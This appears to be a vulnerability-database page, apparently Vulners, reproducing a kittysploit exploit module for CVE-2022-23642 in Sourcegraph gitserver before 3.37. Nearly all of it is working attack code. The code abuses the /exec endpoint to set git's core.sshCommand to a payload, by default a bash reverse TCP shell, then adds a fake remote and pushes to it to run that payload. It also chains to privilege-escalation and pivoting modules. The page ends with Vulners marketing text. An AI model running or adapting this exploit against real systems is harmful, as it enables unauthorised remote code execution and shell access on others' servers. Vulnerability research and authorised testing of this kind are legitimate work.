Sourcegraph Gitserver 3.36.3 Rce
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
"name": "Sourcegraph Gitserver 3.36.3 Rce",
"description": "Sourcegraph is a code search and navigation engine. "\
"Sourcegraph prior to version 3.37 is vulnerable to remote "\
"code execution in the `gitserver` service. The service acts "\
"as a git exec proxy, and fails to properly restrict calling `git config`. "\
"This allows an attacker to set the git `core.sshCommand` option, which sets "\
"git to use the specified command instead of ssh when they need to connect to a remote system. "\
"Exploitation of this vulnerability depends on how Sourcegraph is deployed. "\
"An attacker able to make HTTP requests to internal services like gitserver is able to exploit it. "\
"This issue is patched in Sourcegraph version 3.37. As a workaround, ensure that requests to gitserver are properly protected.",
"cve": "2022-23642",
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"arch": [Arch.X86, Arch.X64],
"platform": Platform.UNIX,
"category": PayloadCategory.SINGLE,
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
gitserver = OptString("127.0.0.1", "Sourcegraph gitserver IP address", "yes")
existing_git = OptString("github.com/example/hello_world", "Link of existing repository in target Sourcegraph", "yes")
def run(self):
data = {
"Repo" : self.existing_git,
"Args" : [
"config",
"core.sshCommand",
self.payload
]
}
r = self.http_request(method="GET",
path="/exec",
json=data)
if not r:
print_error("Failed to connect to Sourcegraph gitserver")
return
if len(r.text) > 0:
self.not_vulnerable()
return
data = {
"Repo" : self.existing_git,
"Args" : [
"remote",
"add",
"origin",
"git@lolololz:foo/bar.git"
]
}
r = self.http_request(method="GET",
path="/exec",
json=data)
if not r:
print_error("Failed to connect to Sourcegraph gitserver")
return
if len(r.text) > 0:
self.not_vulnerable()
return
data = {
"Repo" : self.existing_git,
"Args" : [
"push",
"origin",
"master"
]
}
r = self.http_request(method="GET",
path="/exec",
json=data)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
6.5Medium risk
Vulners AI Score6.5